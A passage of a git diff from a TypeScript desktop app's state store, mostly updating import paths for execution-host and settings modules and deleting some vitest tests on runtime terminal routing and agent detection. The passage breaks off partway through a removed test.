a/src/renderer/src/store/projects/project-host-setup-actions.ts +++ b/src/renderer/src/store/projects/project-host-setup-actions.ts @@ -13,7 +13,7 @@ import { omitSparsePresetsForRepos } from '../slices/worktrees/create/sparse-pre import { repoMatchesHostIdentity } from '../repos/repo-host-identity' import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' import { translate } from '@/i18n/i18n' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RepoSlice } from '../repos/repo-state' import { ERROR_TOAST_DURATION } from '../repos/repo-state' import { adoptFromEndpoint } from '../host-catalog/endpoint-catalog-adoption' diff --git a/src/renderer/src/store/projects/project-profile-presence.ts b/src/renderer/src/store/projects/project-profile-presence.ts index bcf9e8ae1b6..0e471a54d34 100644 --- a/src/renderer/src/store/projects/project-profile-presence.ts +++ b/src/renderer/src/store/projects/project-profile-presence.ts @@ -1,6 +1,6 @@ import { toast } from 'sonner' import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' export function formatProjectPresenceProfileNames(profileNames: readonly string[]): string { diff --git a/src/renderer/src/store/projects/project-wsl-filesystem-boundary-advisory.ts b/src/renderer/src/store/projects/project-wsl-filesystem-boundary-advisory.ts index ec0b923b905..73fe6e2551b 100644 --- a/src/renderer/src/store/projects/project-wsl-filesystem-boundary-advisory.ts +++ b/src/renderer/src/store/projects/project-wsl-filesystem-boundary-advisory.ts @@ -1,8 +1,11 @@ import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Project } from '../../../../shared/project/project-types' import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { getWslFilesystemBoundaryDistro } from '../../../../shared/file-access/wsl-paths' import { resolveProjectExecutionRuntime } from '../../../../shared/execution-host/project-execution-runtime' import { translate } from '@/i18n/i18n' diff --git a/src/renderer/src/store/repos/active-workspace-repository.ts b/src/renderer/src/store/repos/active-workspace-repository.ts index 02f9fffe654..99af86ea6fc 100644 --- a/src/renderer/src/store/repos/active-workspace-repository.ts +++ b/src/renderer/src/store/repos/active-workspace-repository.ts @@ -1,7 +1,10 @@ import type { Repo } from '../../../../shared/repository/repo-types' import type { AppState } from '../types' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getIndexedRepoMap as getCachedRepoMap } from './repository-catalog-index' export type ActiveWorkspaceRepoState = Pick< diff --git a/src/renderer/src/store/repos/all-host-repo-catalog-actions.ts b/src/renderer/src/store/repos/all-host-repo-catalog-actions.ts index d75d43e86a0..e6919a72de9 100644 --- a/src/renderer/src/store/repos/all-host-repo-catalog-actions.ts +++ b/src/renderer/src/store/repos/all-host-repo-catalog-actions.ts @@ -6,7 +6,7 @@ import { retainValidFilterRepoIds } from './repo-filter-selection' import { readRuntimeWorktreeVisibilitySnapshot } from '../slices/settings/worktree-visibility-owner-settings' import { getRepoHostIdentity } from '../../../../shared/repository/repo-host-identity' import { filterSetupScriptPromptDismissalsToValidRepos } from '@/runtime/repo-hooks/setup-script-prompt' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { isRemovedRuntimeHostId } from '../host-catalog/removed-runtime-host-rows' import type { FetchedRepoCatalog } from './repo-catalog-merge' import type { LocalRepoCatalogFetchOutcome } from './repo-catalog-fencing' diff --git a/src/renderer/src/store/repos/converted-ssh-browser-pages.ts b/src/renderer/src/store/repos/converted-ssh-browser-pages.ts index 157ab523d6e..46a46bfb0a7 100644 --- a/src/renderer/src/store/repos/converted-ssh-browser-pages.ts +++ b/src/renderer/src/store/repos/converted-ssh-browser-pages.ts @@ -1,5 +1,5 @@ import type { BrowserPageConversionOrigin } from '../../../../shared/browser/workspaces/browser-workspace-types' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getKnownExecutionHostIdForWorktree } from '../../lib/workspace/ownership/worktree-runtime-owner' import type { WorktreeRuntimeOwnerState } from '../../lib/workspace/ownership/worktree-runtime-owner-state' import type { AppState } from '../types' diff --git a/src/renderer/src/store/repos/converted-ssh-host-rows.ts b/src/renderer/src/store/repos/converted-ssh-host-rows.ts index 50cd815688d..d8802cc539e 100644 --- a/src/renderer/src/store/repos/converted-ssh-host-rows.ts +++ b/src/renderer/src/store/repos/converted-ssh-host-rows.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, toSshExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' type ConvertedHostRows = Pick< AppState, diff --git a/src/renderer/src/store/repos/dropped-repo-worktree-rows.ts b/src/renderer/src/store/repos/dropped-repo-worktree-rows.ts index c0fa0ffab55..f6dfc474e25 100644 --- a/src/renderer/src/store/repos/dropped-repo-worktree-rows.ts +++ b/src/renderer/src/store/repos/dropped-repo-worktree-rows.ts @@ -1,6 +1,9 @@ import type { AppState } from '../types' import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { getRepoHostIdentity } from '../../../../shared/repository/repo-host-identity' import { worktreeMatchesHost } from '../slices/worktrees/listing/worktree-host-ownership' import { diff --git a/src/renderer/src/store/repos/host-repo-catalog-seed.ts b/src/renderer/src/store/repos/host-repo-catalog-seed.ts index 975f9818fd7..3a02ac9c18c 100644 --- a/src/renderer/src/store/repos/host-repo-catalog-seed.ts +++ b/src/renderer/src/store/repos/host-repo-catalog-seed.ts @@ -7,7 +7,7 @@ import { applyManualRepoOrder } from '../../../../shared/repository/manual-repo- import { adoptFromEndpoint } from '../host-catalog/endpoint-catalog-adoption' import { getRepoRowIdentity } from './repo-host-identity' import { isRemovedRuntimeHostId } from '../host-catalog/removed-runtime-host-rows' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import { hasLiveRepoCatalogApplied, markSavedHostCatalogRow } from './saved-host-catalog-rows' /** Adds saved rows the store lacks; the host's next live list replaces them like any other row. */ diff --git a/src/renderer/src/store/repos/pending-runtime-repo-removals.ts b/src/renderer/src/store/repos/pending-runtime-repo-removals.ts index e98d4141ec5..aeef8dd20b1 100644 --- a/src/renderer/src/store/repos/pending-runtime-repo-removals.ts +++ b/src/renderer/src/store/repos/pending-runtime-repo-removals.ts @@ -1,6 +1,6 @@ import type { Repo } from '../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { normalizePendingRuntimeRepoRemovals, type PendingRuntimeRepoRemoval diff --git a/src/renderer/src/store/repos/readopted-ssh-worktree-rows.ts b/src/renderer/src/store/repos/readopted-ssh-worktree-rows.ts index 7dadaba8659..f5f56ac0680 100644 --- a/src/renderer/src/store/repos/readopted-ssh-worktree-rows.ts +++ b/src/renderer/src/store/repos/readopted-ssh-worktree-rows.ts @@ -1,5 +1,8 @@ import type { SshRepoReadoption } from '../../../../shared/remote-runtime/ssh/ssh-types' -import { toSshExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + toSshExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' type HostedWorktree = { id: string diff --git a/src/renderer/src/store/repos/recipe-vm-project-removal.ts b/src/renderer/src/store/repos/recipe-vm-project-removal.ts index 1f0fc54c4bf..824c3827f4c 100644 --- a/src/renderer/src/store/repos/recipe-vm-project-removal.ts +++ b/src/renderer/src/store/repos/recipe-vm-project-removal.ts @@ -2,7 +2,7 @@ import { isRuntimeOwnedSshTargetId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { AppState } from '../types' import { cleanupEphemeralVmRuntimesForDeleted } from '@/runtime/ephemeral-vm/ephemeral-vm-runtime-cleanup' diff --git a/src/renderer/src/store/repos/repo-add-actions.ts b/src/renderer/src/store/repos/repo-add-actions.ts index 58e4a8d0a4f..25f2535d914 100644 --- a/src/renderer/src/store/repos/repo-add-actions.ts +++ b/src/renderer/src/store/repos/repo-add-actions.ts @@ -13,7 +13,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { RepoSlice } from './repo-state' import { ERROR_TOAST_DURATION } from './repo-state' import { fetchRuntimeAddProjectPathStatus, getRuntimeEnvironmentDisplayName } from './owner-routing' diff --git a/src/renderer/src/store/repos/repo-catalog-actions.ts b/src/renderer/src/store/repos/repo-catalog-actions.ts index caa01a30a12..5ac0acc6861 100644 --- a/src/renderer/src/store/repos/repo-catalog-actions.ts +++ b/src/renderer/src/store/repos/repo-catalog-actions.ts @@ -8,7 +8,7 @@ import { mergeSshRepoReadoptions, reconcileReadoptedSshRepoRows } from './supers import { getRepoHostIdentity } from '../../../../shared/repository/repo-host-identity' import { runtimeTargetForOwnerEnvironment } from '../../runtime/rpc/targets/runtime-client-target' import { filterSetupScriptPromptDismissalsToValidRepos } from '@/runtime/repo-hooks/setup-script-prompt' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { isRemovedRuntimeHostId } from '../host-catalog/removed-runtime-host-rows' import type { LocalRepoCatalogFetchOutcome } from './repo-catalog-fencing' import type { RepoSlice } from './repo-state' diff --git a/src/renderer/src/store/repos/repo-catalog-identity.ts b/src/renderer/src/store/repos/repo-catalog-identity.ts index fe77b325ea0..64ed8fad224 100644 --- a/src/renderer/src/store/repos/repo-catalog-identity.ts +++ b/src/renderer/src/store/repos/repo-catalog-identity.ts @@ -2,7 +2,7 @@ import type { Repo } from '../../../../shared/repository/repo-types' import { applyInheritedProjectGroups } from '../../../../shared/project/groups/project-group-inheritance' import { reconcileCatalogRows } from '../../../../shared/collections/catalog-row-reconcile' import { getRepoRowIdentity } from './repo-host-identity' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RepoSlice } from './repo-state' import { mergeFetchedProjectCompatibilityForHost } from '../../../../shared/project/catalog/project-compatibility-host-merge' import { projectCompatibilityFromRepos } from '../../../../shared/project/catalog/project-compatibility-merge' diff --git a/src/renderer/src/store/repos/repo-catalog-merge.ts b/src/renderer/src/store/repos/repo-catalog-merge.ts index af6e2757372..1b68919ee91 100644 --- a/src/renderer/src/store/repos/repo-catalog-merge.ts +++ b/src/renderer/src/store/repos/repo-catalog-merge.ts @@ -14,7 +14,7 @@ import { import { reconcileReadoptedSshWorktreesByRepo } from './readopted-ssh-worktree-rows' import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { adoptFromEndpoint } from '../host-catalog/endpoint-catalog-adoption' import { getRuntimeTargetHostId } from '../../runtime/rpc/targets/runtime-client-target' import { fetchProjectHostSetupCompatibility } from '../projects/project-host-routing' diff --git a/src/renderer/src/store/repos/repo-host-identity.ts b/src/renderer/src/store/repos/repo-host-identity.ts index 0bfa509e77a..3f1d8af8eb5 100644 --- a/src/renderer/src/store/repos/repo-host-identity.ts +++ b/src/renderer/src/store/repos/repo-host-identity.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' import { getRepoExecutionHostId, @@ -6,7 +6,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeHostPart, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { getRepoHostIdentity } from '../../../../shared/repository/repo-host-identity' type RepoIdentityParts = Pick diff --git a/src/renderer/src/store/repos/repo-ordering.ts b/src/renderer/src/store/repos/repo-ordering.ts index 02342eba6e7..bab309de073 100644 --- a/src/renderer/src/store/repos/repo-ordering.ts +++ b/src/renderer/src/store/repos/repo-ordering.ts @@ -4,7 +4,7 @@ import type { Repo } from '../../../../shared/repository/repo-types' import { getManualRepoOrder } from '../../../../shared/repository/manual-repo-order' import { splitRepoReorderByHost } from './repo-reorder-host-split' import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RepoSlice } from './repo-state' export function createRepoOrderingActions( diff --git a/src/renderer/src/store/repos/repo-removal-host-twin-attribution.ts b/src/renderer/src/store/repos/repo-removal-host-twin-attribution.ts index 7d65b3b36d1..abb7bf8959c 100644 --- a/src/renderer/src/store/repos/repo-removal-host-twin-attribution.ts +++ b/src/renderer/src/store/repos/repo-removal-host-twin-attribution.ts @@ -3,7 +3,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../../shared/terminal/pty/lifecycle/terminal-execution-host' import { collectPtyIdsForTab } from '../terminals/retirement/terminal-tab-retirement' import { toVisibleTabType } from '../../../../shared/workspace-layout/tab-groups/tab-types' diff --git a/src/renderer/src/store/repos/repo-removal-host-twin-teardown.ts b/src/renderer/src/store/repos/repo-removal-host-twin-teardown.ts index a42acefe417..d895acb940f 100644 --- a/src/renderer/src/store/repos/repo-removal-host-twin-teardown.ts +++ b/src/renderer/src/store/repos/repo-removal-host-twin-teardown.ts @@ -1,5 +1,5 @@ import type { AppState } from '../types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { EditorBufferKeepRequest } from '../slices/editor/buffers/editor-buffer-kept' import { isRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id' import { buildTerminalTabRetirementPlans } from '../terminals/retirement/terminal-tab-retirement' diff --git a/src/renderer/src/store/repos/repo-removal-publisher-index.ts b/src/renderer/src/store/repos/repo-removal-publisher-index.ts index 26d1cf61579..e0f9c172a81 100644 --- a/src/renderer/src/store/repos/repo-removal-publisher-index.ts +++ b/src/renderer/src/store/repos/repo-removal-publisher-index.ts @@ -1,5 +1,5 @@ import type { AppState } from '../types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import { selectDetectedWorktreesByRepo, diff --git a/src/renderer/src/store/repos/repo-removal.ts b/src/renderer/src/store/repos/repo-removal.ts index 2972eceedc7..5dbbb31478f 100644 --- a/src/renderer/src/store/repos/repo-removal.ts +++ b/src/renderer/src/store/repos/repo-removal.ts @@ -12,7 +12,8 @@ import { repoMatchesHostIdentity, worktreeBelongsToHost } from './repo-host-iden import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' import { hasRuntimeRpcErrorCode } from '../../../../shared/remote-runtime/rpc/runtime-rpc-error-code' import { ipcOrRuntimeTargetForHostId } from '../../runtime/rpc/targets/runtime-client-target' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +// oxfmt-ignore +import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { destroyRecipeVmBeforeProjectRemoval } from './recipe-vm-project-removal' import { stopRuntimeProjectTerminalsBeforeRemoval } from './runtime-project-terminal-stop' import type { RepoSlice } from './repo-state' diff --git a/src/renderer/src/store/repos/repo-reorder-host-split.ts b/src/renderer/src/store/repos/repo-reorder-host-split.ts index b15f94a0d53..14f48fe93b7 100644 --- a/src/renderer/src/store/repos/repo-reorder-host-split.ts +++ b/src/renderer/src/store/repos/repo-reorder-host-split.ts @@ -1,9 +1,9 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' import { getRepoExecutionHostId, getSettingsFocusedExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' export type RepoReorderHostGroup = { hostId: string diff --git a/src/renderer/src/store/repos/repo-state.ts b/src/renderer/src/store/repos/repo-state.ts index 94558185aca..d39618eb858 100644 --- a/src/renderer/src/store/repos/repo-state.ts +++ b/src/renderer/src/store/repos/repo-state.ts @@ -34,7 +34,7 @@ import type { FolderWorkspacePathStatus, FolderWorkspacePathStatusRequest } from '../../../../shared/folder-workspaces/folder-workspace-path-status' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WslMovedProject } from '../../../../shared/wsl-move/wsl-moved-project' import type { ConfirmedUnsavedDiscards } from '../slices/worktrees/teardown/removed-workspace-unsaved-files' diff --git a/src/renderer/src/store/repos/repo-update.ts b/src/renderer/src/store/repos/repo-update.ts index c1ddeadc42c..53d29a4858c 100644 --- a/src/renderer/src/store/repos/repo-update.ts +++ b/src/renderer/src/store/repos/repo-update.ts @@ -9,7 +9,7 @@ import { sanitizeAgentWorkspaceTrustDecision } from '../../../../shared/agent-la import { findRepoForHost, repoMatchesHostIdentity } from './repo-host-identity' import { getRepoHostIdentityForParts } from '../../../../shared/repository/repo-host-identity' import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { normalizeCustomWorktreeVisibilitySources, normalizeWorktreeVisibilitySourcePreferences diff --git a/src/renderer/src/store/repos/repos.test.ts b/src/renderer/src/store/repos/repos.test.ts deleted file mode 100644 index cb22f391911..00000000000 --- a/src/renderer/src/store/repos/repos.test.ts +++ /dev/null @@ -1,70 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' -import { createTestStore } from '../testing/app-store-test-fixture' -import { makeWorktree } from '../slices/worktrees/worktree.test-fixture' - -import type { Repo } from '../../../../shared/repository/repo-types' -import '../../../../shared/global-settings-test-fixture' -import '../../web/preload-api/web-fallback-api' -import { - installReposRuntimeRoutingHarness, - ptyKill, - remoteRepo, - runtimeEnvironmentCall, - runtimeEnvironmentsList -} from './repo-runtime-routing.test-fixture' - -vi.mock('sonner', () => ({ - toast: { - error: vi.fn(), - info: vi.fn(), - success: vi.fn(), - warning: vi.fn() - } -})) - -installReposRuntimeRoutingHarness() - -const ownerOf = (repo: Repo) => ({ hostId: getRepoExecutionHostId(repo) }) -// Ingest stamps every server row; an unstamped row is this app's own. -const serverRepo: Repo = { ...remoteRepo, executionHostId: 'runtime:env-1' } - -describe('repo slice runtime routing', () => { - it('stops remote runtime terminals instead of killing remote ids through local pty IPC', async () => { - runtimeEnvironmentsList.mockResolvedValue([{ id: 'env-1' }]) - runtimeEnvironmentCall.mockResolvedValue({ - id: 'rpc-remote', - ok: true, - result: { ok: true }, - _meta: { runtimeId: 'runtime-remote' } - }) - const store = createTestStore() - const worktreeId = `${remoteRepo.id}::/remote/wt` - store.setState({ - settings: { activeRuntimeEnvironmentId: 'env-1' } as never, - repos: [serverRepo], - worktreesByRepo: { - [remoteRepo.id]: [ - makeWorktree({ id: worktreeId, repoId: remoteRepo.id, hostId: 'runtime:env-1' }) - ] - }, - tabsByWorktree: { - [worktreeId]: [{ id: 'tab-1', worktreeId } as never] - }, - ptyIdsByTabId: { - 'tab-1': ['remote:term-1', 'pty-local-stale'] - } - }) - - await store.getState().removeProject(remoteRepo.id, ownerOf(serverRepo)) - - expect(runtimeEnvironmentCall).toHaveBeenCalledWith({ - selector: 'env-1', - method: 'terminal.stop', - params: { worktree: `id:${worktreeId}` }, - timeoutMs: 15_000 - }) - expect(ptyKill).toHaveBeenCalledWith('pty-local-stale') - expect(ptyKill).not.toHaveBeenCalledWith('remote:term-1') - }) -}) diff --git a/src/renderer/src/store/repos/runtime-repo-catalog-actions.ts b/src/renderer/src/store/repos/runtime-repo-catalog-actions.ts index afa8991139a..2f5edac5b18 100644 --- a/src/renderer/src/store/repos/runtime-repo-catalog-actions.ts +++ b/src/renderer/src/store/repos/runtime-repo-catalog-actions.ts @@ -1,13 +1,13 @@ import type { StateCreator } from 'zustand' import type { AppState } from '../types' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' import { applyManualRepoOrder } from '../../../../shared/repository/manual-repo-order' import { retainValidFilterRepoIds } from './repo-filter-selection' import { readRuntimeWorktreeVisibilitySnapshot } from '../slices/settings/worktree-visibility-owner-settings' import { getRepoHostIdentity } from '../../../../shared/repository/repo-host-identity' import { filterSetupScriptPromptDismissalsToValidRepos } from '@/runtime/repo-hooks/setup-script-prompt' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { isRemovedRuntimeHostId } from '../host-catalog/removed-runtime-host-rows' import { claimHostCatalogFence, diff --git a/src/renderer/src/store/repos/safe-auto-fork-sync.ts b/src/renderer/src/store/repos/safe-auto-fork-sync.ts index 4af7787ec95..5c4a2b7892e 100644 --- a/src/renderer/src/store/repos/safe-auto-fork-sync.ts +++ b/src/renderer/src/store/repos/safe-auto-fork-sync.ts @@ -1,6 +1,6 @@ import type { Repo } from '../../../../shared/repository/repo-types' import { syncRuntimeGitForkDefaultBranch } from '../../runtime/source-control/git/runtime-git-sync-client' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getRepoMainWorktreeId } from '../../../../shared/worktree/id' import { ipcOrRuntimeTargetForHostId } from '../../runtime/rpc/targets/runtime-client-target' diff --git a/src/renderer/src/store/repos/superseded-ssh-repo-rows.ts b/src/renderer/src/store/repos/superseded-ssh-repo-rows.ts index 892dff84206..34fd609ff1a 100644 --- a/src/renderer/src/store/repos/superseded-ssh-repo-rows.ts +++ b/src/renderer/src/store/repos/superseded-ssh-repo-rows.ts @@ -1,7 +1,10 @@ import { inheritLaunchReadoptions } from '@/components/native-chat/drafts/native-chat-launch-draft-continuity' import type { SshRepoReadoption } from '../../../../shared/remote-runtime/ssh/ssh-types' import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, toSshExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + toSshExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { getRepoHostIdentityForParts } from '../../../../shared/repository/repo-host-identity' export type SshRepoReconciliation = { diff --git a/src/renderer/src/store/repos/wsl-moved-local-session-rows.ts b/src/renderer/src/store/repos/wsl-moved-local-session-rows.ts index 412533caf74..9c9edf5ae69 100644 --- a/src/renderer/src/store/repos/wsl-moved-local-session-rows.ts +++ b/src/renderer/src/store/repos/wsl-moved-local-session-rows.ts @@ -5,7 +5,7 @@ * copies under the same tab ids, so they must leave before the host partitions merge in. */ import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { normalizeWorkspaceSessionKeyToWorkspaceId } from '../../../../shared/workspace/identity/workspace-scope' import { filterWorkspaceRows, diff --git a/src/renderer/src/store/repos/wsl-moved-projects.ts b/src/renderer/src/store/repos/wsl-moved-projects.ts index 1e4402a70cd..5dbe421ea0d 100644 --- a/src/renderer/src/store/repos/wsl-moved-projects.ts +++ b/src/renderer/src/store/repos/wsl-moved-projects.ts @@ -12,7 +12,10 @@ import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-typ import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { WslMovedProject } from '../../../../shared/wsl-move/wsl-moved-project' -import { type ExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + type ExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { getRepoIdFromWorktreeId, diff --git a/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-refresh.ts b/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-refresh.ts index a3a5de3e68c..b2f67bf6719 100644 --- a/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-refresh.ts +++ b/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-refresh.ts @@ -1,5 +1,5 @@ import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { filterEnabledTuiAgents } from '../../../../../shared/agent-launch/catalog/tui-agent-selection' import { getLocalAgentPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context' import { localAgentInventoryContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key' diff --git a/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.test.ts b/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.test.ts index 7164f252234..6f41db88004 100644 --- a/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.test.ts +++ b/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.test.ts @@ -2,8 +2,8 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' import { create } from 'zustand' import type { AppState } from '../../types' import type { Repo } from '../../../../../shared/repository/repo-types' -import { FLOATING_TERMINAL_WORKTREE_ID, getDefaultSettings } from '../../../../../shared/constants' -import { readNativeDetectedAgents } from './local-detected-agent-store-state' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' +import './local-detected-agent-store-state' import { createDetectedAgentsSlice } from './create-detected-agents-slice' const detectAgents = vi.fn() @@ -16,16 +16,6 @@ globalThis.window = { } as unknown as Window['api'] } as Window & typeof globalThis -function makeRepo(id: string): Repo { - return { - id, - path: `C:\\${id}`, - displayName: id, - badgeColor: '#000000', - addedAt: 0 - } -} - function createTestStore(repos: Repo[]) { const store = create()( (...args) => createDetectedAgentsSlice(...args) as unknown as AppState @@ -62,94 +52,6 @@ describe('local detected agent context lifecycle', () => { }) }) - it('sends explicit catalog intent even while an automatic refresh is pending', async () => { - const store = createTestStore([]) - const automaticReply = Promise.withResolvers<{ agents: string[] }>() - refreshAgents.mockImplementation((args) => - args?.userInitiated ? Promise.resolve({ agents: ['grok'] }) : automaticReply.promise - ) - const automatic = store.getState().refreshDetectedAgents() - const explicit = store.getState().refreshDetectedAgents(undefined, { userInitiated: true }) - expect(store.getState().refreshDetectedAgents(undefined, { userInitiated: true })).toBe( - explicit - ) - expect(await explicit).toEqual(['grok']) - automaticReply.resolve({ agents: ['claude'] }) - await automatic - expect(store.getState().detectedAgentIds).toEqual(['grok']) - expect(refreshAgents).toHaveBeenCalledWith(expect.objectContaining({ userInitiated: true })) - }) - - it('keeps complete Settings inventory separate from automatic probes in either completion order', async () => { - const store = createTestStore([]) - const resolveDetection = new Map void>() - detectAgents.mockImplementation( - (args) => - new Promise((resolve) => { - resolveDetection.set(args?.enabledOnly === true, resolve) - }) - ) - const automatic = store.getState().ensureDetectedAgents() - const settings = store.getState().ensureAllDetectedAgents() - expect(store.getState().ensureAllDetectedAgents()).toBe(settings) - resolveDetection.get(true)?.(['claude']) - await automatic - expect(store.getState().localDetectedAgentIdsByContext['host\u0000all-agents']).toBeNull() - resolveDetection.get(false)?.(['claude', 'kiro']) - await settings - expect(store.getState().detectedAgentIds).toEqual(['claude']) - expect(store.getState().localDetectedAgentIdsByContext['host\u0000all-agents']).toEqual([ - 'claude', - 'kiro' - ]) - await expect(store.getState().ensureAllDetectedAgents()).resolves.toEqual(['claude', 'kiro']) - - store.getState().clearLocalDetectedAgents() - const nextAutomatic = store.getState().ensureDetectedAgents() - const nextSettings = store.getState().ensureAllDetectedAgents() - resolveDetection.get(false)?.(['codex', 'kiro']) - await nextSettings - resolveDetection.get(true)?.(['codex']) - await nextAutomatic - expect(store.getState().localDetectedAgentIdsByContext['host\u0000all-agents']).toEqual([ - 'codex', - 'kiro' - ]) - expect(store.getState().detectedAgentIds).toEqual(['codex']) - }) - - it('retries a refused list as a wake when an agent picker opens, without joining a background probe', async () => { - const store = createTestStore([makeRepo('repo-1')]) - detectAgents.mockRejectedValueOnce(new Error("WSL distro 'Ubuntu' is not running.")) - await store.getState().ensureDetectedAgents() - expect(store.getState().readLocalAgentInventory().state).toBe('failed') - - let finishBackground: (ids: string[]) => void = () => {} - 